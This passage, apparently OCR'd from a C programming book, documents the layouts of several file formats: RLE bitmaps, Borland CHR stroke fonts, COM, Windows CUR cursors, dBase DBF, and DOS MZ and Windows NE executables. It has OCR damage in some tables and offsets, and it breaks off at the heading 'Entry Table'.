Following is an example of a 4-bit RLE bitmap (the one-digit hexadecimal values in the second column represent a color index for a single pixel):
\begin{tabular}{|l|l|}
\hline Compressed data & Expanded data \\
\hline 0304 & 040 \\
\hline 0506 & 06060 \\
\hline 000645566700 & 455667 \\
\hline 0478 & 7878 \\
\hline 00020501 & Move 5 right and 1 down \\
\hline 0478 & 7878 \\
\hline 0000 & End of line \\
\hline 091 E & 1 E 1 E 1 E 1 E 1 \\
\hline 0001 & End of RLE bitmap \\
\hline
\end{tabular}

\section*{Bitmap Example}

The following example is a text dump of a 16 -color bitmap ( 4 bits per pixel):
Win3DIBFile
BitmapFileHeader
Type 19778
Size 3118
Reserved1 0
Reserved2 0
OffsetBits 118
Bitmapl nfoHeader
Size 40
Width 80
Height 75

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\subsection*{72.4 CHR}

Following is the official documentation of CHR file format.
The structure of Borland .CHR (stroke) files is as follows:
offset Oh is a Borland header:
\begin{tabular}{lcc} 
HeaderSize & equ & 080h \\
DataSize & equ & \begin{tabular}{c} 
(size of font file)
\end{tabular} \\
descr & equ & "Triplex font" \\
fname & equ & "TRIP" \\
MajorVersion & equ & 1 \\
MinorVersion & equ & 0
\end{tabular}
\begin{tabular}{|l|l|}
\hline db & 'PK',8,8 \\
\hline db & 'BGI ',descr,' V ' \\
\hline
\end{tabular}
\begin{tabular}{|c|c|}
\hline db & MajorVersion+'0' \\
\hline db & (MinorVersion / 10) + \({ }^{\prime} 0^{\prime},\left(\right.\) (MinorVersion mod 10) + ' \(0^{\prime}\) \\
\hline db & ' - 19 October 1987',0DH, OAH \\
\hline db & 'Copyright (c) 1987 Borland International', 0dh,0ah \\
\hline db & 0,1ah ; null \& ctrl-Z = end \\
\hline dw & HeaderSize ; size of header \\
\hline db & fname ; font name \\
\hline dw & DataSize ; font file size \\
\hline db & MajorVersion, MinorVersion ; version \#'s \\
\hline db & 1,0 ; minimal version \#'s \\
\hline db & (HeaderSize - \$) DUP (0) ; pad out to header size \\
\hline
\end{tabular}

At offset 80h starts data for the file:
\begin{tabular}{|l|l|}
\hline 80 h & '+' flags stroke file type \\
\hline \(81 \mathrm{~h}-82 \mathrm{~h}\) & number chars in font file ( n ) \\
\hline 83 h & undefined \\
\hline 84 h & ASCII value of first char in file \\
\hline \(85 \mathrm{~h}-86 \mathrm{~h}\) & offset to stroke definitions (8+3n) \\
\hline 87 h & scan flag (normally 0) \\
\hline 88 h & distance from origin to top of capital \\
\hline 89 h & distance from origin to baseline \\
\hline 90 h & distance from origin to bottom descender \\
\hline \(91 \mathrm{~h}-95 \mathrm{~h}\) & undefined \\
\hline 96 h & offsets to individual character definitions \\
\hline \(96 \mathrm{~h}+2 \mathrm{n}\) & width table (one word per character) \\
\hline \(96 \mathrm{~h}+3 \mathrm{n}\) & start of character definitions \\
\hline
\end{tabular}

The individual character definitions consist of a variable number of words describing the operations required to render a character. Each word consists of an ( \(x, y\) ) coordinate pair and a two-bit opcode, encoded as shown here:
\begin{tabular}{|l|c|llllllll|}
\hline Byte 1 & 7 & 6 & 5 & 4 & 3 & 2 & 1 & 0 & bit \# \\
\hline & op1 & \multicolumn{5}{|c|}{ <seven bit signed \(X\) coord> } \\
\hline
\end{tabular}
\begin{tabular}{|l|c|llllllll|}
\hline Byte 2 & 7 & 6 & 5 & 4 & 3 & 2 & 1 & 0 & bit \# \\
\hline & op2 & \multicolumn{6}{|c|}{ <seven bit signed Y coord> } \\
\hline
\end{tabular}

\subsection*{72.5 COM}

The COM files are raw binary executables and are a leftover from the old CP/M machines with 64K RAM. A COM program can only have a size of less than one segment ( 64 K ), including code and static data since no fixups for segment relocation or anything else is included. One method to check for a COM file is to check if the first byte in the file could be

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a valid jump or call opcode, but this is a very weak test since a COM file is not required to start with a jump or a call. In principle, a COM file is just loaded at offset 100 h in the segment and then executed.
\begin{tabular}{|l|c|l|l|}
\hline OFFSET & Count & TYPE & Description \\
\hline 0000h & 1 & byte & \begin{tabular}{l} 
ID=0E9h \\
ID=0Ebh
\end{tabular} \\
\hline
\end{tabular}

Those are not safe ways to determine wether a file is a COM file or not, but most COM files start with a jump.

\subsection*{72.6 CUR}

A cursor-resource file contains image data for cursors used by Windows applications. The file consists of a cursor directory identifying the number and types of cursor images in the file, plus one or more cursor images. The default filename extension for a cursor-resource file is .CUR.

\section*{Cursor Directory}

Each cursor-resource file starts with a cursor directory. The cursor directory, defined as a CURSORDIR structure, specifies the number of cursors in the file and the dimensions and color format of each cursor image. The CURSORDIR structure has the following form:
```

typedef struct _CURSORDIR {
WORD cdReserved;
WORD cdType;
WORD cdCount;
CURSORDIRENTRY cdEntries[];
} CURSORDIR;

```

Following are the members in the CURSORDIR structure:
\begin{tabular}{|l|l|}
\hline cdReserved & Reserved; must be zero. \\
\hline cdType & Specifies the resource type. This member must be set to 2. \\
\hline cdCount & Specifies the number of cursors in the file. \\
\hline cdEntries & \begin{tabular}{l} 
Specifies an array of CURSORDIRENTRY structures containing \\
information about individual cursors. The cdCount member specifies \\
the number of structures in the array.
\end{tabular} \\
\hline
\end{tabular}

A CURSORDIRENTRY structure specifies the dimensions and color format of a cursor image. The structure has the following form:
```

typedef struct _CURSORDIRENTRY {
BYTE bWidth;
BYTE bHeight;
BYTE bColorCount;
BYTE bReserved;
WORD wXHotspot;
WORD wYHotspot;
DWORD IBytesInRes;
DWORD dwlmageOffset;
} CURSORDIRENTRY;

```

Following are the members in the CURSORDIRENTRY structure:
\begin{tabular}{|l|l|}
\hline bWidth & Specifies the width of the cursor, in pixels. \\
\hline bHeight & Specifies the height of the cursor, in pixels. \\
\hline bColorCount & Reserved; must be zero. \\
\hline bReserved & Reserved; must be zero. \\
\hline wXHotspot & Specifies the x-coordinate, in pixels, of the hot spot. \\
\hline wYHotspot & Specifies the y-coordinate, in pixels, of the hot spot. \\
\hline IBytesInRes & Specifies the size of the resource, in bytes. \\
\hline dwImageOffset & \begin{tabular}{l} 
Specifies the offset, in bytes, from the start of the file to the \\
cursor image.
\end{tabular} \\
\hline
\end{tabular}

\section*{Cursor Image}

Each cursor-resource file contains one cursor image for each image identified in the cursor directory. A cursor image consists of a cursor-image header, a color table, an XOR mask, and an AND mask. The cursor image has the following form:
\begin{tabular}{|ll|}
\hline BITMAPINFOHEADER & crHeader; \\
RGBQUAD & crColors[]; \\
BYTE & crXOR[]; \\
BYTE & crAND[]; \\
\hline
\end{tabular}

The cursor hot spot is a single pixel in the cursor bitmap that Windows uses to track the cursor. The crXHotspot and crYHotspot members specify the \(x\) - and \(y\)-coordinates of the cursor hot spot. These coordinates are 16-bit integers.

The cursor-image header, defined as a BITMAPINFOHEADER structure, specifies the dimensions and color format of the cursor bitmap. Only the biSize through biBitCount members and the biSizel mage member are used. The biHeight member specifies the combined height of the XOR and AND masks for the cursor. This value is twice the height of the XOR mask. The biPlanes and biBitCount members must be 1. All other members (such as biCompression and biClrlmportant) must be set to zero.

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The color table, defined as an array of RGBQUAD structures, specifies the colors used in the XOR mask. For a cursor image, the table contains exactly two structures, since the biBitCount member in the cursor-image header is always 1.

The XOR mask, immediately following the color table, is an array of BYTE values representing consecutive rows of a bitmap. The bitmap defines the basic shape and color of the cursor image. As with the bitmap bits in a bitmap file, the bitmap data in a cursor-resource file is organized in scan lines, with each byte representing one or more pixels, as defined by the color format. For more information about these bitmap bits, see Section "Bitmap-File Formats."

The AND mask, immediately following the XOR mask, is an array of BYTE values representing a monochrome bitmap with the same width and height as the XOR mask. The array is organized in scan lines, with each byte representing 8 pixels.

When Windows draws a cursor, it uses the AND and XOR masks to combine the cursor image with the pixels already on the display surface. Windows first applies the AND mask by using a bitwise AND operation; this preserves or removes existing pixel color. Window then applies the XOR mask by using a bitwise XOR operation. This sets the final color for each pixel.

The following illustration shows the XOR and the AND masks that create a cursor (measuring 8 pixels by 8 pixels) in the form of an arrow:

Following are the bit-mask values necessary to produce black, white, inverted, and transparent results:
\begin{tabular}{|l|c|c|}
\hline Pixel result & AND mask & XOR mask \\
\hline Black & 0 & 0 \\
\hline White & 0 & 1 \\
\hline Transparent & 1 & 0 \\
\hline Inverted & 1 & 1 \\
\hline
\end{tabular}

\section*{Windows Cursor Selection}

If a cursor-resource file contains more than one cursor image, Windows determines the best match for a particular display by examining the width and height of the cursor images.

\subsection*{72.7 DBF (General Format of .dbf files in Xbase languages)}
\begin{tabular}{|l|l|}
\hline \multicolumn{3}{|c|}{ Applies for / supported by: } \\
\hline FS \(=\) FlagShip & \(\mathrm{D} 3=\mathrm{dBasel} \mathrm{II}+\) \\
\hline \(\mathrm{Fb}=\) FoxBase & \(\mathrm{D} 4=\mathrm{dBaseIV}\) \\
\hline \(\mathrm{Fp}=\) FoxPro & \(\mathrm{D} 5=\mathrm{dBaseV}\) \\
\hline \(\mathrm{CL}=\) Clipper & \\
\hline
\end{tabular}
\begin{tabular}{|l|l|l|}
\hline \multicolumn{2}{|l|}{ 1. DBF Structure } \\
\hline Byte & Description & \\
\hline \(0 . . \mathrm{n}\) & .dbf header (see 2 for size, byte 8) & \begin{tabular}{l} 
if dbf is \\
not empty
\end{tabular} \\
\hline \(\mathrm{n}+1\) & \begin{tabular}{l} 
1st record of fixed length (see 2\&3) \\
2nd record (see 2 for size, byte 10) \\
\(\ldots\) \\
last record
\end{tabular} & \\
\hline last & optional: 0x1a (eof byte) & \\
\hline
\end{tabular}
\begin{tabular}{|l|c|l|l|l|}
\hline \multicolumn{4}{|l|}{ 2. DBF Header (variable size, depending on field count) } \\
\hline Byte & Size & Contents & Description & \begin{tabular}{l} 
Applies for \\
(supported by)
\end{tabular} \\
\hline \multirow{5}{*}{} & & & & FS,
\end{tabular}

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\begin{tabular}{|c|c|c|c|c|}
\hline \multicolumn{5}{|l|}{2a. Field descriptor array in dbf header (fix 32 bytes for each field)} \\
\hline Byte & Size & Contents & Description & Applies for (supported by) \\
\hline 0 & 11 & ASCI & field name, \(0 \times 00\) termin. & all \\
\hline 11 & 1 & ASCI & field type (see 2b) & all \\
\hline \multirow[t]{3}{*}{12} & \multirow[t]{3}{*}{4} & n, \(\mathrm{n}, \mathrm{n}, \mathrm{n}\) & fld address in memory & D3 \\
\hline & & n, \(\mathrm{n}, 0,0\) & offset from record begin & Fp \\
\hline & & 0,0,0,0 & ignored & FS, D4, D5, Fb, CL \\
\hline 16 & 1 & byte & Field length, bin (see 2b) & all \ FS, CL: for C field type, \\
\hline 17 & 1 & byte & decimal count, bin & all / both used for fld Ing \\
\hline 18 & 2 & 0,0 & reserved & all \\
\hline \multirow[t]{2}{*}{20} & \multirow[t]{2}{*}{1} & byte & Work area ID & D4, D5 \\
\hline & & 0x00 & unused & FS, D3, Fb, Fp, CL \\
\hline \multirow[t]{2}{*}{21} & \multirow[t]{2}{*}{2} & n, n & multi-user dBase & D3, D4, D5 \\
\hline & & 0,0 & ignored & FS, Fb, Fp, CL \\
\hline \multirow[t]{2}{*}{23} & \multirow[t]{2}{*}{1} & \(0 \times 01\) & Set Fields & D3, D4, D5 \\
\hline & & 0x00 & ignored & \(\mathrm{FS}, \mathrm{Fb}, \mathrm{Fp}, \mathrm{CL}\) \\
\hline 24 & 7 & \(0 . .0\) & reserved & all \\
\hline \multirow[t]{2}{*}{31} & \multirow[t]{2}{*}{1} & \(0 \times 01\) & Field is in .mdx index & D4, D5 \\
\hline & & 0x00 & ignored & FS, D3, Fb, Fp, CL \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|}
\hline \multicolumn{4}{|l|}{2b. Field type and size in dbf header, field descriptor (1 byte)} \\
\hline Size & Type & Description/ Storage & Applies for (supported by) \\
\hline \multirow[t]{5}{*}{C 1..n} & \multirow[t]{5}{*}{Char} & ASCII (OEM code page chars) & \multirow[t]{4}{*}{all} \\
\hline & & rest= space, not \(\backslash 0\) term. & \\
\hline & & \(\mathrm{n}=1 . .64 \mathrm{~kb}\) (using deci count) FS & \\
\hline & & \(\mathrm{n}=1 . .32 \mathrm{~kb}\) (using deci count) Fp, CL & \\
\hline & & \(\mathrm{n}=1 . .254\) & all \\
\hline \multirow[t]{2}{*}{D 8} & \multirow[t]{2}{*}{Date} & 8 Ascii digits (0..9) in the & all \\
\hline & & YYYYMMDD format & \\
\hline \multirow[t]{3}{*}{F 1..n} & \multirow[t]{3}{*}{Numeric} & Ascii digits (-.0123456789) & \multirow[t]{3}{*}{FS, D4, D5, Fp} \\
\hline & & variable pos. of float.point & \\
\hline & & \(\mathrm{n}=1 . .20\) & \\
\hline \multirow[t]{4}{*}{N 1..n} & \multirow[t]{4}{*}{Numeric} & Ascii digits (-.0123456789) & \multirow[t]{2}{*}{all} \\
\hline & & fix posit/no float. point & \\
\hline & & \(\mathrm{n}=1 . .20\) & FS, Fp, CL \\
\hline & & \(\mathrm{n}=1 . .18\) & D3, D4, D5, Fb \\
\hline \multirow[t]{2}{*}{L 1} & \multirow[t]{2}{*}{Logical} & Ascii chars (YyNnTtFf space) & FS, D3, Fb, Fp, CL \\
\hline & & Ascii chars (YyNnTtFf ?) & D4, D5 (FS) \\
\hline \multirow[t]{3}{*}{M 10} & \multirow[t]{3}{*}{Memo} & 10 digits repres. the start & \multirow[t]{3}{*}{all} \\
\hline & & block posit. in .dbt file, or & \\
\hline & & 10spaces if no entry in memo & \\
\hline
\end{tabular}
\begin{tabular}{|c|c|c|c|}
\hline Size & Type & Description/ Storage & Applies for (supported by) \\
\hline \multirow[t]{6}{*}{V 10} & \multirow[t]{6}{*}{Variable} & Variable, bin/asc data in .dbv & \multirow[t]{6}{*}{FS} \\
\hline & & 4bytes bin= start pos in memo & \\
\hline & & 4bytes bin= block size & \\
\hline & & 1byte = subtype & \\
\hline & & 1byte = reserved (0x1a) & \\
\hline & & 10spaces if no entry in . dbv & \\
\hline \multirow[t]{2}{*}{P 10} & \multirow[t]{2}{*}{Picture} & binary data in .ftp & \multirow[t]{2}{*}{Fp} \\
\hline & & structure like M & \\
\hline \multirow[t]{2}{*}{B 10} & \multirow[t]{2}{*}{Binary} & binary data in .dbt & \multirow[t]{2}{*}{D5} \\
\hline & & structure like M & \\
\hline \multirow[t]{2}{*}{G 10} & \multirow[t]{2}{*}{General} & OLE objects & \multirow[t]{2}{*}{D5, Fp} \\
\hline & & structure like M & \\
\hline 22 & short int & binary int max +/- 32767 & FS \\
\hline 44 & long int & binary int max +/-2147483647 & FS \\
\hline 88 & double & binary signed double IEEE & FS \\
\hline
\end{tabular}

\section*{3. Each Dbf record (fix length)}
\begin{tabular}{|l|l|l|l|}
\hline Byte & Size & Description & \begin{tabular}{l} 
Applies for \\
(supported by)
\end{tabular} \\
\hline 0 & 1 & deleted flag "*" or not deleted " " & all \\
\hline \(1 . . n\) & \(1 .\). & \begin{tabular}{l} 
x-times contents of fields, fixed \\
length, unterminated. \\
For n, see (2) byte 10..11
\end{tabular} & all \\
\hline
\end{tabular}

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\subsection*{72.8 EXE}

\subsection*{72.8.1 Old EXE format (EXE MZ)}
\begin{tabular}{|c|l|l|}
\hline \multicolumn{3}{|c|}{.EXE - DOS EXE File Structure } \\
\hline Offset & Size & \multicolumn{1}{|c|}{ Description } \\
\hline 00 & word & "MZ" or "ZM"- Link file .EXE signature (Mark Zbikowski?) \\
02 & word & length of image mod 512 \\
04 & word & size of file in 512 byte pages \\
06 & word & number of relocation items following header \\
08 & word & size of header in 16 byte paragraphs, used to locate \\
\(0 A\) & & the beginning of the load module \\
OA & word & min \# of paragraphs needed to run program \\
OE & word & max \# of paragraphs the program would like \\
10 & word & offset in load module of stack segment (in paras) \\
12 & word & initial SP value to be loaded \\
14 & word & negative checksum of pgm used while by EXEC loads pgm \\
16 & word & program entry point, (initial IP value) \\
18 & word & offet in load module of the code segment (in paras) \\
1 A EXE file of first relocation item overlay number (0 for \\
& word & root program) \\
\hline
\end{tabular}
- relocation table and the program load module follow the header
- relocation entries are 32 bit values representing the offset into the load module needing patched
- once the relocatable item is found, the CS register is added to the value found at the calculated offset

Registers at load time of the EXE file are as follows:
\begin{tabular}{l|l}
\hline AX: & contains number of characters in command tail, or 0 \\
BX:CX & 32 bit value indicating the load module memory size \\
DX & zero \\
SS: SP & set to stack segment if defined else, \(S S=C S\) and SP=FFFFh or top of \\
memory. & set to segment address of EXE header \\
DS & set to segment address of EXE header \\
ES & sS:IP \\
far address of program entry point, (label on "END" statement of program)
\end{tabular}

\subsection*{72.8.2 New EXE format (EXE NE)}

The Windows (new-style) executable-file header contains information that the loader requires for segmented executable files. This information includes the linker version number, data specified by the linker, data specified by the resource compiler, tables of segment data, tables of resource data, and so on. The following illustration shows the Windows executablefile header: The following sections describe the entries in the Windows executable-file header.

\section*{I nformation Block}

The information block in the Windows header contains the linker version number, the lengths of various tables that further describe the executable file, the offsets from the beginning of the header to the beginning of these tables, the heap and stack sizes, and so on. The following list summarizes the contents of the header information block (the locations are relative to the beginning of the block):
\begin{tabular}{|l|l|}
\hline Location & Description \\
\hline 00 h & \begin{tabular}{l} 
Specifies the signature word. The low byte contains "N" (4Eh) and the high byte \\
contains "E" (45h).
\end{tabular} \\
\hline 02 h & Specifies the linker version number. \\
\hline 03 h & Specifies the linker revision number. \\
\hline 04 h & Specifies the offset to the entry table (relative to the beginning of the header). \\
\hline 06 h & Specifies the length of the entry table, in bytes. \\
\hline 08 h & Reserved. \\
\hline 0 Ch & \begin{tabular}{l} 
Specifies flags that describe the contents of the executable file. This value can be \\
one or more of the following bits:
\end{tabular} \\
\hline
\end{tabular}
\begin{tabular}{|l|l|}
\hline Bit & Meaning \\
\hline 0 & \begin{tabular}{l} 
The linker sets this bit if the executable-file format is SINGLEDATA. An executable \\
file with this format contains one data segment. This bit is set if the file is a \\
dynamic-link library (DLL).
\end{tabular} \\
\hline 1 & \begin{tabular}{l} 
The linker sets this bit if the executable-file format is MULTIPLEDATA. An executable \\
file with this format contains multiple data segments. This bit is set if the file is a \\
Windows application. \\
If neither bit 0 nor bit 1 is set, the executable-file format is NOAUTODATA. An \\
executable file with this format does not contain an automatic data segment.
\end{tabular} \\
\hline 2 & Reserved. \\
\hline 3 & Reserved. \\
\hline 8 & Reserved. \\
\hline 9 & Reserved. \\
\hline 11 & \begin{tabular}{l} 
If this bit is set, the first segment in the executable file contains code that loads the \\
application.
\end{tabular} \\
\hline 13 & \begin{tabular}{l} 
If this bit is set, the linker detects errors at link time but still creates an executable \\
file.
\end{tabular} \\
\hline 14 & \begin{tabular}{l} 
Reserved. \\
\hline 15
\end{tabular} \begin{tabular}{l} 
If this bit is set, the executable file is a library module. \\
\hline
\end{tabular} \\
\hline
\end{tabular}

If bit 15 is set, the CS:IP registers point to an initialization procedure called with the value in the \(A X\) register equal to the module handle. The initialization procedure must execute a far return to the caller. If the procedure is successful, the value in AX is nonzero. Otherwise, the value in AX is zero. The value in the DS register is set to the library's data segment if SINGLEDATA is set. Otherwise, DS is set to the data segment of the application that loads the library.

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\begin{tabular}{|l|l|}
\hline OEh & \begin{tabular}{l} 
Specifies the automatic data segment number. (OEh is zero if the SINGLEDATA and \\
MULTIPLEDATA bits are cleared.)
\end{tabular} \\
\hline 10 h & \begin{tabular}{l} 
Specifies the initial size, in bytes, of the local heap. This value is zero if there is no local \\
allocation.
\end{tabular} \\
\hline 12 h & \begin{tabular}{l} 
Specifies the initial size, in bytes, of the stack. This value is zero if the SS register value \\
does not equal the DS register value.
\end{tabular} \\
\hline 14 h & Specifies the segment:offset value of CS:IP. \\
\hline 18 h & Specifies the segment:offset value of SS:SP. \\
\hline
\end{tabular}

The value specified in SS is an index to the module's segment table. The first entry in the segment table corresponds to segment number 1. If SS addresses the automatic data segment and SP is zero, SP is set to the address obtained by adding the size of the automatic data segment to the size of the stack.
\begin{tabular}{|l|l|}
\hline 1Ch & Specifies the number of entries in the segment table. \\
\hline 1Eh & Specifies the number of entries in the module-reference table. \\
\hline 20 h & Specifies the number of bytes in the nonresident-name table. \\
\hline 22 h & \begin{tabular}{l} 
Specifies a relative offset from the beginning of the Windows header to the beginning of \\
the segment table.
\end{tabular} \\
\hline 24 h & \begin{tabular}{l} 
Specifies a relative offset from the beginning of the Windows header to the beginning of \\
the resource table.
\end{tabular} \\
\hline 26 h & \begin{tabular}{l} 
Specifies a relative offset from the beginning of the Windows header to the beginning of \\
the resident-name table.
\end{tabular} \\
\hline 28 h & \begin{tabular}{l} 
Specifies a relative offset from the beginning of the Windows header to thebeginning of \\
the module-reference table.
\end{tabular} \\
\hline 2 Ah & \begin{tabular}{l} 
Specifies a relative offset from the beginning of the Windows header to the beginning of \\
the imported-name table.
\end{tabular} \\
\hline 2 Ch & \begin{tabular}{l} 
Specifies a relative offset from the beginning of the file to the beginning of the \\
nonresident-name table.
\end{tabular} \\
\hline 30 h & \begin{tabular}{l} 
Specifies the number of movable entry points. \\
\hline 32 h \\
\begin{tabular}{l} 
Specifies a shift count that is used to align the logical sector. This count is log2 of the \\
segment sector size. It is typically 4, although the default count is 9. (This value \\
corresponds to the /alignment [/a] linker switch. When the linker command line \\
contains /a: 16, the shift count is 4. When the linker command line contains /a: 512, the \\
shift count is 9.)
\end{tabular} \\
\hline 34 h \\
\hline 36 h \\
\hline \begin{tabular}{l} 
Specifies the number of resource segments. \\
\hline
\end{tabular} \\
\hline
\end{tabular} \\
\hline
\end{tabular}
\begin{tabular}{|l|l|}
\hline Bit & Meaning \\
\hline 0 & Operating system format is unknown. \\
\hline 1 & Reserved. \\
\hline 2 & Operating system is Microsoft Windows. \\
\hline 3 & Reserved. \\
\hline 4 & Reserved. \\
\hline
\end{tabular}

37h Specifies additional information about the executable file. It can be one or more of the following values:
\begin{tabular}{|l|l|}
\hline Bit & \multicolumn{1}{|c|}{ Meaning } \\
\hline 1 & \begin{tabular}{l} 
If this bit is set, the executable file contains a Windows 2.x application that runs in \\
version 3.x protected mode.
\end{tabular} \\
\hline 2 & \begin{tabular}{l} 
If this bit is set, the executable file contains a Windows 2.x application that supports \\
proportional fonts.
\end{tabular} \\
\hline 3 & If this bit is set, the executable file contains a fast-load area. \\
\hline
\end{tabular}
\begin{tabular}{|l|l|}
\hline 38 h & \begin{tabular}{l} 
Specifies the offset, in sectors, to the beginning of the fast-load area. (Only Windows \\
uses this value.)
\end{tabular} \\
\hline 3Ah & Specifies the length, in sectors, of the fast-load area. (Only Windows uses this value.) \\
\hline 3Ch & Reserved. \\
\hline 3Eh & Specifies the expected version number for Windows. (Only Windows uses this value.) \\
\hline
\end{tabular}

\section*{Segment Table}

The segment table contains information that describes each segment in an executable file. This information includes the segment length, segment type, and segment-relocation data. The following list summarizes the values found in the segment table (the locations are relative to the beginning of each entry):
\begin{tabular}{|l|l|}
\hline Location & Description \\
\hline 00 h & \begin{tabular}{l} 
Specifies the offset, in sectors, to the segment data (relative to the beginning of \\
the file). A value of zero means no data exists.
\end{tabular} \\
\hline 02 h & \begin{tabular}{l} 
Specifies the length, in bytes, of the segment, in the file. A value of zero indicates \\
that the segment length is 64 K, unless the selector offset is also zero.
\end{tabular} \\
\hline 04 h & \begin{tabular}{l} 
Specifies flags that describe the contents of the executable file. This value can be \\
one or more of the following:
\end{tabular} \\
\hline
\end{tabular}
\begin{tabular}{|l|l|}
\hline Bit & Meaning \\
\hline 0 & \begin{tabular}{l} 
If this bit is set, the segment is a data segment. Otherwise, the segment is a code \\
segment.
\end{tabular} \\
\hline 1 & If this bit is set, the loader has allocated memory for the segment. \\
\hline 2 & If this bit is set, the segment is loaded. \\
\hline 3 & Reserved. \\
\hline 4 & If this bit is set, the segment type is MOVABLE. Otherwise, the segment type is FIXED. \\
\hline 5 & \begin{tabular}{l} 
If this bit is set, the segment type is PURE or SHAREABLE. Otherwise, the segment type \\
is IMPURE or NONSHAREABLE.
\end{tabular} \\
\hline 6 & \begin{tabular}{l} 
If this bit is set, the segment type is PRELOAD. Otherwise, the segment type is \\
LOADONCALL.
\end{tabular} \\
\hline 7 & \begin{tabular}{l} 
If this bit is set and the segment is a code segment, the segment type is \\
EXECUTEONLY. \\
If this bit is set and the segment is a data segment, the segment type is READONLY.
\end{tabular} \\
\hline
\end{tabular}

\section*{792 A to \(Z\) of \(C\)}
\begin{tabular}{|l|l|}
\hline Bit & Meaning \\
\hline 8 & If this bit is set, the segment contains relocation data. \\
\hline 9 & Reserved. \\
\hline 10 & Reserved. \\
\hline 11 & Reserved. \\
\hline 12 & If this bit is set, the segment is discardable. \\
\hline 13 & Reserved. \\
\hline 14 & Reserved. \\
\hline 15 & Reserved. \\
\hline
\end{tabular}

06h Specifies the minimum allocation size of the segment, in bytes. A value of zero indicates that the minimum allocation size is 64 K .

\section*{Resource Table}

The resource table describes and identifies the location of each resource in the executable file. The table has the following form:
```

WORD rscAlignShift;
TYPEI NFO rscTypes[];
WORD rscEndTypes;
BYTE rscResourceNames[];
BYTE rscEndNames;

```

Following are the members in the resource table:
\begin{tabular}{|l|l|}
\hline rscAlignShift & \begin{tabular}{l} 
Specifies the alignment shift count for resource data. When the shift \\
count is used as an exponent of 2, the resulting value specifies the \\
factor, in bytes, for computing the location of a resource in the \\
executable file.
\end{tabular} \\
\hline rscTypes & \begin{tabular}{l} 
Specifies an array of TYPEINFO structures containing information about \\
resource types. There must be one TYPEINFO structure for each type of \\
resource in the executable file.
\end{tabular} \\
\hline rscEndTypes & \begin{tabular}{l} 
Specifies the end of the resource type definitions. This member must be \\
zero.
\end{tabular} \\
\hline RscResourceNames & \begin{tabular}{l} 
Specifies the names (if any) associated with the resources in this table. \\
Each name is stored as consecutive bytes; the first byte specifies the \\
number of characters in the name.
\end{tabular} \\
\hline rscEndNames & \begin{tabular}{l} 
Specifies the end of the resource names and the end of the resource \\
table. \\
This member must be zero.
\end{tabular} \\
\hline
\end{tabular}

\section*{Type I nformation}

The TYPEINFO structure has the following form:
```

typedef struct _TYPEI NFO {
WORD rtTypelD;
WORD rtResourceCount;
DWORD rtReserved;
NAMEINFO rtNamelnfo[];
} TYPEINFO;

```

Following are the members in the TYPEINFO structure:
\begin{tabular}{|l|l|}
\hline rtTypeID & \begin{tabular}{l} 
Specifies the type identifier of the resource. This integer value is either a resource- \\
type value or an offset to a resource-type name. If the high bit in this member is \\
set ( \(0 \times 8000\) ), the value is one of the following resource-type values:
\end{tabular} \\
\hline
\end{tabular}
\begin{tabular}{|l|l|}
\hline Value & Resource type \\
\hline RT_ACCELERATOR & Accelerator table \\
\hline RT_BITMAP & Bitmap \\
\hline RT_CURSOR & Cursor \\
\hline RT_DIALOG & Dialog box \\
\hline RT_FONT & Font component \\
\hline RT_FONTDIR & Font directory \\
\hline RT_GROUP_CURSOR & Cursor directory \\
\hline RT_GROUP_ICON & Icon directory \\
\hline RT_ICON & Icon \\
\hline RT_MENU & Menu \\
\hline RT_RCDATA & Resource data \\
\hline RT_STRING & String table \\
\hline
\end{tabular}

If the high bit of the value in this member is not set, the value represents an offset, in bytes relative to the beginning of the resource table, to a name in the rscResourceNames member.
rtResourceCount Specifies the number of resources of this type in the executable file. rtReserved Reserved.
rtNamel nfo Specifies an array of NAMEINFO structures containing information about individual resources.
The rtResourceCount member specifies the number of structures in the array.

\section*{Name Information}

The NAMEINFO structure has the following form:

\section*{794 A to Z of C}
```

typedef struct _NAMEINFO {
WORD rnOffset;
WORD rnLength;
WORD rnFlags;
WORD rnID;
WORD rnHandle;
WORD rnUsage;
} NAMEINFO;

```

Following are the members in the NAMEINFO structure:
rnOffset Specifies an offset to the contents of the resource data (relative to the beginning of the file). The offset is in terms of alignment units specified by the rscAlignShift member at the beginning of the resource table.
rnLength Specifies the resource length, in bytes.
rnFlags Specifies whether the resource is fixed, preloaded, or shareable. This member can be one or more of the following values:
\begin{tabular}{|l|l|}
\hline Value & Meaning \\
\hline \(0 \times 0010\) & Resource is movable (MOVEABLE). Otherwise, it is fixed. \\
\hline \(0 \times 0020\) & Resource can be shared (PURE). \\
\hline \(0 \times 0040\) & Resource is preloaded (PRELOAD). Otherwise, it is loaded on demand. \\
\hline
\end{tabular}
rnID Specifies or points to the resource identifier. If the identifier is an integer, the high bit is set ( 8000 h ). Otherwise, it is an offset to a resource string, relative to the beginning of the resource table.
rnHandle Reserved.
rnUsage Reserved.

\section*{Resident-Name Table}

The resident-name table contains strings that identify exported functions in the executable file. As the name implies, these strings are resident in system memory and are never discarded. The resident-name strings are case-sensitive and are not null-terminated. The following list summarizes the values found in the resident-name table (the locations are relative to the beginning of each entry):
\begin{tabular}{|l|l|}
\hline Location & \multicolumn{1}{|c|}{ Description } \\
\hline 00 h & \begin{tabular}{l} 
Specifies the length of a string. If there are no more strings in the table, this \\
value is zero.
\end{tabular} \\
\hline \(01 \mathrm{~h}-\mathrm{xxh}\) & \begin{tabular}{l} 
Specifies the resident- name text. This string is case-sensitive and is not null- \\
terminated.
\end{tabular} \\
\hline \(\mathrm{xxh}+01 \mathrm{~h}\) & \begin{tabular}{l} 
Specifies an ordinal number that identifies the string. This number is an index \\
into the entry table.
\end{tabular} \\
\hline
\end{tabular}

The first string in the resident-name table is the module name.

\section*{Module-Reference Table}

The module-reference table contains offsets for module names stored in the imported-name table. Each entry in this table is 2 bytes long.

\section*{I mported-Name Table}

The imported-name table contains the names of modules that the executable file imports. Each entry contains two parts: a single byte that specifies the length of the string and the string itself. The strings in this table are not null-terminated.

\section*{Entry Table}

